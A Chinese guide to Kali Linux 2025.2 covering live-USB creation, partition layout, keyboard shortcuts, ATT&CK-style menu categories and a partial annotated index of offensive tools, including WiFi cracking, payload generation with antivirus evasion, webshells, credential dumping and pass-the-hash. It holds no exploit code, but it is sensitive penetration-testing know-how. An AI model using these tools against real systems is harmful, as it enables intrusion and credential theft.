Kali 手记:2025年更新版
文章目录
- Kali Linux
- 在 Mac / Linux 上使用 U 盘 / 移动硬盘以 Live 方式安装启动 2025最新版本的 Kali
- 准备工作
- 确认存储设备信息
- 卸载存储设备
- 验证ISO镜像文件
- 将ISO镜像写入存储设备
- 完成后弹出设备
- 制作的启动盘分析
- 结果数据
- 分区结构与功能解析
- 启动方式兼容性
- 进阶处理操作:修改分区表属性隐藏sda2启动分区
- 启动Kali Linux Live
- 在 Windows / Mac / Linux 系统上使用 [Etcher](https://www.balena.io/etcher/) 可视化制作 Kali Live 启动盘
- 2025最新版本 Kali Live 系统
- 为什么选择新版本?
- 使用说明
- Kali Linux 默认快捷键一览表
- 终端快捷键一览表
- 菜单项类别
- 完整的工具集索引(2025新版)
- 工具集索引(`Ctrl + F` 快捷搜索相关功能)
- 官方目录和功能说明
- WiFi Crack
- 概述
- 初始化脚本 init_preparing_matters.sh
- 简要操作指令(纯文本形式,方便在终端下预览使用)
- 整合的密码学词典
- 附录
- 提取菜单结构的脚本
Kali Linux
基本情况介绍参见 Kali和渗透测试,不再赘述。
2025最新版本信息:Linux kali 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64 GNU/Linux
在 Mac / Linux 上使用 U 盘 / 移动硬盘以 Live 方式安装启动 2025最新版本的 Kali
准备工作
- MacOS电脑或者Linux系统电脑均可
- 一个容量至少8GB的U盘或移动硬盘(建议使用USB 3.0及以上接口以获得更快速度)
- 如果 U盘/移动硬盘 不是空盘,就需要先 备份数据!!备份数据!!备份数据!!(不要心存侥幸,本操作会将全盘内容覆盖,无论是第一个分区还是第n个分区)
- 下载好Kali Linux Live的官方镜像文件(可从 Kali官方网站 下载,本文使用的是当前的最新版本:
kali-linux-2025.2-live-amd64.iso
,最近从kali官网下载速度可以跑满,也就没必要转存到CSDN)
确认存储设备信息
首先需要确定我们要使用的U盘或移动硬盘在系统中的标识符,这一步非常重要,选错设备可能会导致系统盘等重要数据丢失!!
打开终端(Terminal),输入以下命令:
diskutil list
操作结果:
/dev/disk0 (internal, physical):#: TYPE NAME SIZE IDENTIFIER0: GUID_partition_scheme *251.0 GB disk01: EFI EFI 314.6 MB disk0s12: Apple_APFS Container disk1 250.7 GB disk0s2/dev/disk1 (synthesized):#: TYPE NAME SIZE IDENTIFIER0: APFS Container Scheme - +250.7 GB disk1Physical Store disk0s21: APFS Volume Macintosh HD - 数据 175.4 GB disk1s12: APFS Volume Preboot 2.1 GB disk1s23: APFS Volume Recovery 1.2 GB disk1s34: APFS Volume VM 3.2 GB disk1s45: APFS Volume Macintosh HD 9.3 GB disk1s56: APFS Snapshot com.apple.os.update-... 9.3 GB disk1s5s1/dev/disk2 (external, physical):#: TYPE NAME SIZE IDENTIFIER0: FDisk_partition_scheme *320.1 GB disk21: Windows_FAT_32 Kali Live 266.4 GB disk2s12: Windows_NTFS exfat-data 53.7 GB disk2s2
从结果中可以看到,外部设备被识别为/dev/disk2
,这就是我们要使用的U盘或移动硬盘的标识符。
- 可通过关键字
external
来识别外部设备。 - 通过
NAME
(卷标)来识别目标设备,根据TYPE
(格式化类型)、SIZE
(空间大小)来辅助确认目标设备正确。 - 实在是不好识别,就重新插拔下U盘/移动磁盘,对比下插入前后的
diskutil list
命令结果,多出来的那个就是目标设备。 - 切记:别瞎猜,否则有丢失系统磁盘数据的风险!!
卸载存储设备
在向存储设备写入镜像前,需要先卸载该设备,但不要从物理上拔掉它。
在终端中输入以下命令(注意将disk2替换为你的设备标识符):
diskutil unmountDisk /dev/disk2
操作结果:
Unmount of all volumes on disk2 was successful
这个命令会卸载该设备上的所有分区,确保我们可以顺利地向设备写入镜像文件。如果提示卸载失败,可能是有文件正在使用该设备,关闭相关文件后重试即可。如果一直卸载失败,可以使用终极大招:重启系统后重新插拔U盘/移动硬盘,此时会彻底清除之前的占用程序。(使用macOS系统的(强制)“弹出”功能,效果是一样的)
验证ISO镜像文件
在写入镜像前,我们可以先验证一下下载的ISO镜像文件是否完整有效。
在终端中输入以下命令(注意替换文件路径为你的ISO文件实际路径):
file ./Downloads/kali-linux-2025.2-live-amd64.iso
操作结果:
./Downloads/kali-linux-2025.2-live-amd64.iso: ISO 9660 CD-ROM filesystem data (DOS/MBR boot sector) 'Kali Live' (bootable)
结果显示这是一个ISO 9660格式的CD-ROM文件系统数据,并且标注了是可启动的(bootable),说明我们下载的镜像文件是正确的。
将ISO镜像写入存储设备
这是最关键的一步,我们将使用 dd
命令将ISO镜像文件写入到U盘或移动硬盘中。
在终端中输入以下命令(注意替换输入文件路径和输出设备标识符):
sudo dd if=./Downloads/kali-linux-2025.2-live-amd64.iso of=/dev/rdisk2 bs=4M status=progress
操作结果:
4907335680 bytes (4907 MB, 4680 MiB) transferred 53.044s, 93 MB/s
1181+1 records in
1181+1 records out
4956442624 bytes transferred in 53.606641 secs (92459489 bytes/sec)
sudo
:表示以管理员权限执行该命令,输入密码后才能继续dd
:是一个用于转换和复制文件的命令if=./Downloads/kali-linux-2025.2-live-amd64.iso
:指定输入文件(即我们下载的ISO镜像文件)of=/dev/rdisk2
:指定输出设备,rdisk
中的r
表示原始设备,使用原始设备可以提高写入速度bs=4M
:指定块大小为4MB,较大的块大小可以提高写入速度,但建议保持该值以提高兼容性status=progress
:显示写入进度
从结果可以看到,整个写入过程传输了4956442624字节(约4.68GB)的数据,耗时约53.6秒,平均速度约92MB/s。当看到"records in"和"records out"的信息时,说明写入过程已经完成。
注意事项:
- 制作过程可能因系统、U盘/移动硬盘差异而比较长(个别电脑可能长达半小时以上),请确保电脑不会进入睡眠状态,以免中断写入过程!
- 制作完成的启动盘会被格式化,里面的原有数据(无论哪个分区)会被清除,分区也会被清除,请提前备份重要数据。
完成后弹出设备
写入完成后,我们需要弹出设备以确保数据完全写入。
在终端中输入以下命令:
diskutil eject /dev/disk2
制作的启动盘分析
结果数据
/ # df -h
Filesystem Size Used Available Use% Mounted on
/dev/sda2 4.0M 4.0M 4.0K 100% /mnt/usb1_2
/dev/sda3 293.4G 10.1G 283.3G 3% /mnt/usb1_3
/ # mount
/dev/sda2 on /mnt/usb1_2 type vfat (rw,nosuid,nodev,noexec,noatime,nodiratime,fmask=0000,dmask=0000,allow_utime=0022,codepage=936,iocharset=utf8,shortname=mixed,errors=remount-ro)
/dev/sda3 on /mnt/usb1_3 type vfat (rw,nosuid,nodev,noexec,noatime,nodiratime,fmask=0000,dmask=0000,allow_utime=0022,codepage=936,iocharset=utf8,shortname=mixed,errors=remount-ro)
分区结构与功能解析
-
隐藏的启动核心分区(sda1):虽然在
df -h
和mount
命令结果中未显示sda1,但该分区是镜像写入时自动生成的光盘格式启动分区。它主要存储Kali Linux的核心系统文件和启动引导程序,采用ISO 9660的光盘文件系统格式。它仅有5GB大小,也就是光盘镜像的大小,非常紧凑!因为该分区无法写入,这么紧凑也就避免了额外的浪费。它在Windows或MacOS系统中不可见、不可直接访问,仅在启动过程中由固件(BIOS/UEFI)识别并加载启动程序,是实现Live启动的基础分区。 -
Legacy BIOS启动支持分区(sda2):sda2为4.0M大小的vfat(FAT32)格式分区,使用率达100%。该分区存储了支持传统Legacy BIOS启动的引导文件(如MBR引导记录、启动配置文件等)。vfat格式确保了传统BIOS固件的兼容性,虽然空间已占满,但仅需存储少量引导程序即可实现旧款设备的启动支持,这也是启动盘能在传统BIOS设备上启动的关键。
-
用户自定义数据分区(sda3):sda3的空间在制作启动盘后本来是未分配空间,需要自行分区和格式化为自己所需的格式。Live启动模式下sda1是只读的(实际上也没有额外空间了),该分区可读可写,是用于数据持久化存储的分区。
启动方式兼容性
启动盘通过sda1(UEFI启动支持) 和sda2(Legacy BIOS启动支持) 实现了新旧两种启动方式的兼容:
- 对于支持UEFI固件的现代设备(如新款Mac、Windows 10/11电脑),会优先识别sda1中的EFI引导文件,实现快速、安全的UEFI启动;
- 对于仅支持Legacy BIOS的旧款设备,会通过sda2中的引导程序完成启动流程,确保了启动盘在不同年代设备上的通用性。
进阶处理操作:修改分区表属性隐藏sda2启动分区
Windows 系统(在管理员命令行终端下执行,如管理员权限的cmd或powershell):
diskpart
> list disk # 查看所有硬盘情况
> select disk 0 # 改为U盘/移动硬盘标识
> list partition # 查看所有分区情况,进一步确认
> select partition 2 # 选择第2个分区
> attributes volume # 查看分区属性
> attributes volume set hidden # 设置隐藏属性,仅Windows生效
> attributes volume set nodefaultdriveletter # 设置禁止自动分配盘符属性,仅Windows生效
> # attributes volume clear Hidden # 清除隐藏属性
> # attribute volume clear NoDefaultDriveLetter # 清除禁止自动分配盘符属性
> set id=1C # 标识为 FAT32 隐藏类型,跨系统生效
> # set id=0C # 恢复为标准 FAT32 类型
Linux / MacOS 系统:
sudo fdisk /dev/sda
> t # 修改类型
> 2 # 分区号
> 1C # FAT32 隐藏标识
> w # 保存
启动Kali Linux Live
制作完成后,你就可以使用这个U盘或移动硬盘在开机时引导启动Kali Linux了:
- 将制作好的启动盘插入电脑
- 电脑开机或者重启电脑
- 点击
Del
、F2
、Esc
等进入BIOS中设置,设置启动第一项是从U盘/移动硬盘启动。- 也有机型支持点击
F12
等直接入启动菜单。 - MacOS系统在启动过程中按住
Option
键(或Alt
键),也可以从U盘/移动硬盘启动Kali,但不推荐,因为硬件支持太差,比如笔记本自带键盘和触摸板都不识别,需要外接键盘、鼠标使用。
- 也有机型支持点击
- 再次重启机器就会出现启动菜单,选择从 Kali 所在U盘/移动硬盘启动。
- 从Kali启动菜单中选择第一个"Live (amd64)"选项即可进入Kali Linux Live环境。
在 Windows / Mac / Linux 系统上使用 Etcher 可视化制作 Kali Live 启动盘
参见官方文档:
https://www.kali.org/docs/usb/live-usb-install-with-windows/
https://www.kali.org/docs/usb/live-usb-install-with-mac/
https://www.kali.org/docs/usb/live-usb-install-with-linux/
2025最新版本 Kali Live 系统
为什么选择新版本?
之前的 2020.1 版本仍然可用于WiFi Crack,但存在一个致命问题:浏览器版本过低,已经无法正常浏览和使用大多数当代的网站。
新版本有以下优点:
- 默认即支持中文显示
- 新的浏览器,可以很好地支持当代网站
- 内置了
ll
和grep
(带--color
参数)等别名 - 其他:
- 多个桌面,进一步方便操作
- 更高版本的内核,如何需要安装日常使用的应用等,兼容性会更好
美中不足的是:仍然不支持中文的输入。
使用说明
Kali Linux 默认快捷键一览表
类别 | 快捷键组合 | 功能描述 |
---|---|---|
系统命令快捷键 | Ctrl + Alt + T | 打开终端 |
Win + F | 打开文件管理器 | |
Win + W | 打开浏览器 | |
Win + L | 锁定屏幕 | |
Alt + F2 | 打开运行命令对话框 | |
Alt + F3 | 打开应用程序搜索器 | |
Alt + F1 | 打开Whisker菜单 | |
Ctrl + Escape | 打开应用菜单(功能同Alt + F1 ) | |
Ctrl + Alt + Delete | 打开会话注销对话框 | |
Ctrl + Shift + Escape | 打开任务管理器 | |
窗口管理快捷键 | Alt + F4 | 关闭当前窗口 |
Alt + F7 | 进入窗口移动模式(方向键调整位置) | |
Alt + F8 | 进入窗口大小调整模式(方向键缩放) | |
Alt + F11 | 窗口全屏/还原切换 | |
Alt + Tab | 切换当前窗口 | |
Alt + Shift + Tab | 反向切换窗口 | |
Alt + Space | 打开窗口控制菜单(最大化/最小化等) | |
Win + D | 显示桌面(隐藏所有窗口) | |
Win + Up | 最大化窗口 | |
Win + Down | 最小化窗口 | |
Win + Left/Right | 将窗口贴靠到屏幕左/右侧 | |
工作区操作快捷键 | Ctrl + Alt + 1~9 | 切换到工作区1~9 |
Ctrl + Alt + 0 | 切换到工作区10 | |
Ctrl + Alt + Left/Right | 向左/右切换工作区 | |
Ctrl + Alt + Up/Down | 向上/下切换工作区 | |
Ctrl + Shift + Alt + 方向键 | 将当前窗口移动到相邻工作区 | |
截图与录屏快捷键 | Print Screen | 全屏截图(保存到文件) |
Shift + Print Screen | 区域截图(手动框选) | |
Alt + Print Screen | 当前窗口截图 | |
Ctrl + Print Screen | 全屏截图到剪贴板 | |
Ctrl + Shift + Print Screen | 区域截图到剪贴板 | |
Shift + Ctrl + Alt + R | 启动录屏(需安装Kazam) | |
高级功能快捷键 | Ctrl + Alt + Escape | 强制关闭窗口(xkill 工具) |
Win + F1 | 高亮显示鼠标位置(找光标) | |
Alt + F12 | 窗口置顶显示 | |
Alt + F6 | 窗口粘滞显示(跨工作区可见) |
终端快捷键一览表
类别 | 快捷键组合 | 功能描述 |
---|---|---|
基本操作 | Ctrl + Alt + T | 打开新终端窗口 |
Ctrl + D | 关闭当前终端窗口/退出会话 | |
Ctrl + L | 清屏(保留历史记录) | |
Ctrl + C | 强制终止当前命令 | |
Tab | 命令/路径自动补全 | |
光标移动 | Ctrl + A | 光标跳转到行首 |
Ctrl + E | 光标跳转到行尾 | |
Ctrl + B / → | 光标向左/右移动一个字符 | |
Alt + B / Alt + F | 光标向左/右移动一个单词 | |
编辑控制 | Ctrl + W | 删除光标前的一个单词 |
Ctrl + U | 删除整行内容 | |
Ctrl + K | 删除光标至行尾的内容 | |
Ctrl + Shift + C | 复制选中文本 | |
Ctrl + Shift + V | 粘贴文本 | |
Ctrl + R | 搜索历史命令(按 Ctrl+G 退出) | |
窗口与标签 | Ctrl + Shift + T | 新建终端标签页 |
Alt + 1/2/3... | 切换到第 1/2/3… 个标签页 | |
Ctrl + Shift + W | 关闭当前标签页 | |
Ctrl + Shift + N | 新建终端窗口 | |
Ctrl + Shift + D | 水平分屏 | |
Ctrl + Shift + R | 垂直分屏 | |
Alt + ↑/↓/←/→ | 在分屏间切换 | |
字体调整 | Ctrl + + | 放大终端字体 |
Ctrl + - | 缩小终端字体 | |
Ctrl + 0 | 恢复字体默认大小 |
菜单项类别
-
Reconnaissance(侦察):收集目标系统信息,包括网络拓扑、域名、开放端口、服务及资产暴露面,为后续攻击提供情报基础。
-
Resource Development(资源开发):准备攻击所需的资源,如生成恶意载荷、搭建钓鱼站点或创建攻击基础设施,以支持初始入侵阶段。
-
Initial Access(初始访问):突破目标系统边界的技术手段,包括漏洞利用、社会工程或网络服务入侵,旨在建立首个攻击立足点。
-
Execution(执行):在目标系统内运行恶意代码或命令的行为,通常通过漏洞利用、脚本注入或远程控制实现。
-
Persistence(持久化):通过后门、计划任务或隐蔽账户维持长期访问权限,确保攻击者可持续控制目标系统。
-
Privilege Escalation(权限提升):获取更高系统权限(如Root/Admin)的技术,利用系统配置缺陷或内核漏洞突破权限限制。
-
Defense Evasion(防御规避):绕过安全检测机制(如杀毒软件、EDR)的方法,包括日志清除、进程隐藏或加密混淆技术。
-
Credential Access(凭证访问):窃取用户凭据(密码、令牌、证书)的技术,涉及内存提取、网络嗅探或离线破解哈希值。
-
Discovery(发现):探测目标内网环境的技术,包括主机扫描、服务枚举、域控定位及敏感数据识别。
-
Lateral Movement(横向移动): 通过跳板机、远程服务或漏洞在目标网络内部扩散攻击,实现跨主机渗透。
-
Collection(数据收集): 定位并窃取敏感数据(如文件、密钥、邮件),通常结合数据过滤与压缩技术。
-
Command and Control(命令控制): 建立远程控制通道(C2)的技术,使用加密隧道或协议伪装维持与攻击者的通信。
-
Exfiltration(数据外泄): 将窃取数据传出目标网络的隐蔽传输技术,包括DNS隧道、加密协议或物理介质转移。
-
Impact(影响攻击): 破坏目标系统可用性或完整性的最终攻击手段,如数据加密(勒索)、服务瘫痪或硬件破坏。
-
Forensics(取证): 电子取证技术,用于分析系统痕迹、恢复删除数据或调查安全事件,需隔离环境保证数据完整性。
-
Services and Other Tools(服务与辅助工具): 支撑渗透测试的基础服务(如数据库、Web服务器)及通用辅助工具(文本编辑器、网络工具)。
完整的工具集索引(2025新版)
工具集索引(Ctrl + F
快捷搜索相关功能)
Kali Linux 2025.2 菜单结构索引表
Applications
├─ Usual Applications
├─ Reconnaissance
│ └── burpsuite # Web应用安全测试工具:支持HTTP请求拦截、修改与重放,集成漏洞扫描器与 Intruder 模块,用于检测SQL注入、XSS等Web漏洞
│ └── dirb # Web目录枚举工具:通过预设字典对Web服务器发起GET请求,暴力破解隐藏目录、文件及敏感路径,辅助信息收集
│ └── dirbuster # 图形化Web目录扫描工具:提供可视化界面配置扫描字典与线程,支持递归扫描,用于枚举Web服务器目录结构与资源
│ └── ffuf # Web模糊测试工具:基于Go语言的高速枚举工具,支持目录、参数、子域名等多场景模糊测试,可自定义Payload与过滤规则
│ └── gobuster # 多协议暴力枚举工具:支持HTTP目录、DNS子域名、AWS S3桶等枚举,通过命令行配置字典与并发数,适用于快速资产探测
│ └── legion # 自动化网络侦察工具:集成端口扫描、服务识别、漏洞检测功能,提供图形化界面,支持批量目标扫描与报告生成
│ └── maltego (installer)# 情报分析与可视化工具:通过关联分析域名、IP、邮箱等实体构建关系图谱,用于社会工程学侦察与网络资产测绘
│ └── nmap # 网络扫描与主机发现工具:支持TCP/UDP端口扫描、服务版本识别、操作系统探测,集成NSE脚本可检测漏洞与配置缺陷
│ └── recon-ng # 开源情报收集框架:模块化设计,支持域名解析、WHOIS查询、子域名枚举等功能,可聚合多源数据生成侦察报告
│ └── zenmap # 图形化网络扫描工具:nmap的GUI前端,支持扫描配置保存、结果可视化展示(如网络拓扑图),简化扫描操作流程
│ ├─ Host Information
│ └── spiderfoot-cli # 命令行开源情报工具:通过多数据源(WHOIS、DNS、搜索引擎等)收集主机相关信息,支持批量扫描与JSON/CSV格式输出
│ └── spiderfoot # 图形化情报收集平台:集成数百个数据源,可视化展示主机、域名关联信息,支持自定义扫描策略与自动化侦察流程
│ ├─ Identity Information
│ ├─ Network Information
│ └── amass # 子域名枚举与网络测绘工具:结合被动查询、主动探测与DNS爆破,发现目标域名的关联子域名,扩展攻击面
│ └── dmitry # 域名信息聚合工具:获取目标域名的WHOIS信息、子域名列表、开放端口及服务器指纹,用于基础网络侦察
│ └── dnsenum # DNS信息枚举工具:查询域名的NS、MX、A记录,尝试DNS区域传输,爆破子域名与主机名,生成DNS信息报告
│ └── dnsmap # DNS子域名爆破工具:通过字典对目标域名进行子域名暴力破解,支持自定义字典与递归查询,发现隐藏域名资产
│ └── dnsrecon # DNS安全侦察工具:支持DNS记录查询、区域传输测试、缓存 snooping、域名爆破,用于评估DNS配置安全性
│ └── legion # 自动化网络侦察工具:集成端口扫描、服务识别、漏洞检测功能,提供图形化界面,支持批量目标扫描与报告生成
│ └── nmap # 网络扫描与主机发现工具:支持TCP/UDP端口扫描、服务版本识别、操作系统探测,集成NSE脚本可检测漏洞与配置缺陷
│ └── theHarvester # 电子邮件与子域名收集工具:从搜索引擎、社交平台、Pastebin等源抓取目标相关邮箱与子域名,辅助社会工程学攻击
│ └── unicornscan # 高性能网络扫描工具:基于异步传输技术,支持大规模端口扫描与服务探测,适用于快速定位网络开放服务
│ └── zenmap # 图形化网络扫描工具:nmap的GUI前端,支持扫描配置保存、结果可视化展示(如网络拓扑图),简化扫描操作流程
│ ├─ Network Information: DNS
│ └── dnsenum # DNS信息枚举工具:查询域名的NS、MX、A记录,尝试DNS区域传输,爆破子域名与主机名,生成DNS信息报告
│ └── dnsmap # DNS子域名爆破工具:通过字典对目标域名进行子域名暴力破解,支持自定义字典与递归查询,发现隐藏域名资产
│ └── dnsrecon # DNS安全侦察工具:支持DNS记录查询、区域传输测试、缓存 snooping、域名爆破,用于评估DNS配置安全性
│ ├─ Web Scanning
│ └── dirb # Web目录枚举工具:通过预设字典对Web服务器发起GET请求,暴力破解隐藏目录、文件及敏感路径,辅助信息收集
│ └── dirbuster # 图形化Web目录扫描工具:提供可视化界面配置扫描字典与线程,支持递归扫描,用于枚举Web服务器目录结构与资源
│ └── ffuf # Web模糊测试工具:基于Go语言的高速枚举工具,支持目录、参数、子域名等多场景模糊测试,可自定义Payload与过滤规则
│ └── gobuster # 多协议暴力枚举工具:支持HTTP目录、DNS子域名、AWS S3桶等枚举,通过命令行配置字典与并发数,适用于快速资产探测
│ └── lbd # 负载均衡检测工具:通过分析HTTP响应头、IP解析结果判断目标是否使用负载均衡,辅助Web架构分析与绕过策略制定
│ └── recon-ng # 开源情报收集框架:模块化设计,支持域名解析、WHOIS查询、子域名枚举等功能,可聚合多源数据生成侦察报告
│ └── wfuzz # Web参数模糊测试工具:通过自定义Payload对URL参数、表单字段进行暴力测试,检测SQL注入、文件包含等漏洞
│ ├─ Vulnerability Scanning
│ └── nmap # 网络扫描与漏洞探测工具:通过NSE脚本库检测常见网络漏洞(如Heartbleed、MS17-010),支持自定义漏洞检测规则
│ └── zenmap # 图形化漏洞扫描工具:nmap的GUI前端,可配置漏洞检测脚本进行扫描,可视化展示漏洞分布与风险等级
│ ├─ Web Vulnerability Scanning
│ └── burpsuite # Web应用漏洞扫描工具:内置主动扫描器检测OWASP Top 10漏洞,支持手动漏洞验证与PoC生成,适用于Web渗透测试
│ └── davtest # WebDAV服务测试工具:检测目标WebDAV服务是否启用,测试可上传文件类型与执行权限,发现文件上传漏洞
│ └── nikto # Web服务器安全扫描工具:检测过时组件、配置错误、默认账号等问题,支持SSL扫描与自定义检测规则
│ └── skipfish # 高速Web漏洞扫描器:通过爬虫发现Web路径,自动化检测XSS、SQL注入等漏洞,生成交互式HTML报告
│ └── wapiti # 开源Web漏洞扫描工具:支持GET/POST参数测试,检测注入攻击、文件泄露、服务器错误配置等,输出详细漏洞报告
│ └── whatweb # Web技术指纹识别工具:检测目标使用的CMS、框架、服务器、编程语言等信息,辅助制定针对性攻击策略
│ └── wpscan # WordPress安全扫描工具:枚举WP版本、插件、主题及用户,检测已知漏洞,支持暴力破解管理员密码
│ ├─ Bluetooth
│ └── spooftooph # 蓝牙设备伪装工具:修改蓝牙设备名称、Class等标识信息,绕过蓝牙设备认证或进行身份欺骗测试
│ ├─ WiFi
│ └── aircrack-ng # 无线安全测试工具集:捕获WiFi握手包,通过字典或彩虹表破解WEP/WPA/WPA2密钥,支持无线网卡监控模式配置
│ └── bully # WPS漏洞利用工具:针对WiFi路由器WPS功能的PIN码暴力破解,支持断点续传与自定义PIN生成策略
│ └── fern-wifi-cracker # 图形化WiFi破解工具:支持WEP/WPA破解、WPS攻击与握手包捕获,提供可视化界面简化无线渗透流程
│ └── kismet # 无线网络监测工具:发现附近WiFi网络信号、设备MAC与信道信息,识别隐藏SSID,辅助无线环境侦察
│ └── pixiewps # WPS快速破解工具:利用WPS协议缺陷(Pixie Dust攻击),无需暴力破解即可获取PIN码,辅助WiFi密钥获取
│ └── reaver # WPS PIN破解工具:通过暴力攻击测试WPS PIN码,获取WiFi密钥,支持自定义攻击速率与重试策略
│ └── wash # WPS设备扫描工具:扫描附近支持WPS的WiFi路由器,获取BSSID、信号强度等信息,为破解做准备
│ └── wifite # 自动化WiFi攻击工具:自动检测目标WiFi、选择攻击方式(WPS/WPA)、捕获握手包并尝试破解,简化无线渗透流程
│ ├─ Radio Frequency
├─ Resource Development
│ └── clang++ # C++编译器工具:编译C++语言编写的漏洞利用程序或安全工具,支持多种架构与编译优化选项
│ └── clang # C语言编译器工具:编译C语言编写的 exploit 代码或安全工具,支持语法检查与跨平台编译
│ └── generic_chunked # 网络数据分片发送工具:将数据分块发送至目标端口,用于测试服务对分片数据的处理逻辑或构造特定请求
│ └── generic_listen_tcp # TCP端口监听工具:在本地开启TCP监听端口,接收并显示远程发送的数据,用于测试服务响应或接收反弹连接
│ └── generic_send_tcp # TCP数据发送工具:向指定TCP端口发送自定义数据,支持十六进制格式输入,用于测试服务漏洞或协议交互
│ └── generic_send_udp # UDP数据发送工具:向指定UDP端口发送自定义数据,支持批量发送与格式定制,用于测试UDP服务响应
│ └── msf-nasm_shell # 汇编指令转换工具:交互式生成汇编指令对应的机器码,辅助编写漏洞利用中的shellcode
│ └── msfpc # Metasploit payload生成器:简化payload创建流程,支持指定平台、格式与编码器,快速生成恶意代码
│ └── msfvenom # 恶意代码生成工具:生成多种平台(Windows/Linux/Android)的payload,支持EXE、ELF、PHP等格式,可集成编码器免杀
│ └── radare2 # 逆向工程与二进制分析工具:支持二进制文件反汇编、调试与动态分析,用于漏洞研究与恶意代码逆向
│ └── searchsploit # 漏洞利用代码搜索工具:从Exploit-DB数据库查询漏洞对应的exp与POC,支持按CVE、软件名检索
├─ Initial Access
│ └── commix # 命令注入漏洞利用工具:检测并利用Web应用中的命令注入漏洞,支持盲注检测与交互式shell获取
│ └── dns-rebind # DNS重绑定攻击工具:通过控制DNS解析实现客户端浏览器绕过同源策略,访问内网服务或执行跨域操作
│ └── gophish # 钓鱼攻击模拟平台:创建钓鱼邮件与伪造登录页面,跟踪目标点击与提交行为,评估组织钓鱼防御能力
│ └── metasploit-framework# 渗透测试综合框架:集成漏洞利用模块、payload与后渗透工具,通过exploit获取目标系统初始访问权限
│ └── setoolkit # 社会工程学工具包:生成钓鱼页面、恶意文件与USB攻击脚本,辅助实施钓鱼、欺骗等初始访问攻击
│ └── sqlmap # 自动化SQL注入工具:检测并利用SQL注入漏洞,支持数据查询、权限提升与操作系统命令执行,获取数据库访问权
├─ Execution
│ └── metasploit-framework# 远程命令执行框架:通过exploit获取shell后,执行系统命令、上传文件或部署持久化payload
│ └── powersploit # PowerShell渗透工具集:包含命令执行、权限维持等脚本,通过PowerShell在Windows系统执行恶意操作
├─ Persistence
│ └── laudanum # Web后门集合工具:提供PHP、ASP、JSP等多种语言的webshell,通过后门维持对Web服务器的长期访问
│ └── webshells # webshell工具集:包含一句话木马、管理型后门等,支持文件管理、命令执行,用于Web服务器持久控制
│ └── weevely # PHP webshell管理工具:生成加密PHP后门,支持命令执行、数据库操作与权限维持,规避杀软检测
├─ Privilege Escalation
│ └── linpeas # Linux权限提升辅助脚本:扫描系统内核漏洞、SUID文件、错误配置等提权点,生成详细提权建议报告
│ └── metasploit-framework# 权限提升框架:提供Linux/Windows提权模块,利用内核漏洞或配置缺陷从低权限提升至root/管理员权限
│ └── peass # 跨平台提权辅助工具:包含linpeas(Linux)与winpeas(Windows),自动化检测系统提权漏洞与配置缺陷
│ └── unix-privesc-check # Unix权限提升检查工具:扫描Unix-like系统的权限配置弱点、漏洞与可利用程序,辅助提权分析
│ └── winpeas # Windows权限提升辅助脚本:检测系统服务漏洞、注册表错误配置、敏感文件等,生成Windows提权建议
├─ Defense Evasion
│ └── exe2hex # 可执行文件转换工具:将EXE文件转换为十六进制字符串,通过命令行还原执行,规避基于文件的杀软检测
│ └── macchanger # MAC地址修改工具:临时或永久修改网络接口MAC地址,隐藏设备真实标识,规避MAC过滤与溯源
│ └── msfvenom # 免杀恶意代码生成工具:通过编码器(如shikata_ga_nai)处理payload,规避 antivirus 特征检测
├─ Credential Access
│ └── cewl # 自定义密码字典生成工具:爬取目标网页内容提取关键词,生成针对性密码字典,提高暴力破解成功率
│ └── crunch # 密码字典生成工具:通过自定义字符集、长度范围与模式生成密码字典,支持规则化密码组合(如字母+数字)
│ └── hashcat # 高性能密码破解工具:支持CPU/GPU加速,破解MD5、SHA、NTLM等多种哈希类型,支持掩码攻击与字典攻击
│ └── hydra # 多协议暴力破解工具:针对SSH、FTP、HTTP等服务进行账号密码爆破,支持多线程与自定义Payload
│ └── john # 多功能密码破解工具:支持LM/NTLM、MD5等哈希破解,集成字典攻击与暴力攻击,可通过规则优化字典
│ └── medusa # 并行暴力破解工具:多线程攻击多种网络服务(SSH、SMB等),支持模块化扩展与会话恢复
│ └── ncrack # 网络认证破解工具:针对RDP、SSH等服务的密码爆破,支持速率控制与代理转发,提高破解效率
│ └── netexec # 网络凭证枚举工具:通过SMB、SSH等协议枚举目标账号密码有效性,支持批量测试与权限验证
│ └── wordlists # 密码字典集合工具:包含rockyou等常用字典,覆盖通用密码、专用领域词汇,用于各类暴力破解场景
│ └── ophcrack # Windows密码破解工具:利用LM/NTLM彩虹表破解Windows哈希,支持图形化界面与命令行操作
│ ├─ OS Credential Dumping
│ └── chntpw # Windows密码修改工具:编辑SAM文件重置Windows用户密码,提取用户哈希,用于离线密码恢复
│ └── creddump7 # Windows凭证提取工具:从内存或系统文件中提取LM/NTLM哈希、缓存凭证,支持Windows多版本
│ └── mimikatz # Windows凭证获取工具:从内存中提取明文密码、NTLM哈希、Kerberos票据,支持多种凭证窃取技术
│ └── samdump2 # SAM文件哈希提取工具:从Windows SAM文件中提取用户账号与NTLM哈希,用于离线密码破解
│ ├─ Hash Identification
│ └── hash-identifier # 哈希类型识别工具:分析哈希值长度与特征,判断其可能的算法类型(如MD5、SHA-1、NTLM)
│ └── hashid # 哈希算法检测工具:支持多种哈希类型识别,输出匹配度排序结果,辅助确定破解工具与方法
│ ├─ Pass-the-Hash
│ └── evil-winrm # WinRM远程控制工具:支持使用NTLM哈希进行身份验证,通过WinRM协议远程执行命令,实现横向移动
│ └── impacket-scripts # 哈希传递攻击脚本集:包含psexec、smbexec等脚本,利用NTLM哈希远程访问Windows系统
│ └── mimikatz # 哈希传递攻击工具:通过sekurlsa::pth模块加载NTLM哈希,模拟用户身份执行命令或访问资源
│ └── netexec # 网络哈希利用工具:支持通过NTLM哈希认证访问SMB服务,执行命令或枚举共享资源
│ └── passing-the-hash # 哈希传递工具集:提供脚本与方法在Windows/Linux系统中利用哈希值进行身份验证,绕过密码验证
│ └── responder # 网络凭证捕获工具:通过LLMNR/NBT-NS投毒捕获目标NTLM哈希,为哈希传递攻击提供凭证来源
│ └── smbmap # SMB共享访问工具:支持使用NTLM哈希认证访问远程SMB共享,枚举文件与执行命令
│ └── xfreerdp3 # RDP远程连接工具:支持Pass-the-Hash攻击,使用NTLM哈希通过RDP协议连接Windows远程桌面
│ ├─ Password Profiling & Wordlists
│ └── cewl # 自定义密码字典生成工具:爬取目标网页内容提取关键词,生成针对性密码字典,提高暴力破解成功率
│ └── crunch # 密码字典生成工具:通过自定义字符集、长度范围与模式生成密码字典,支持规则化密码组合(如字母+数字)
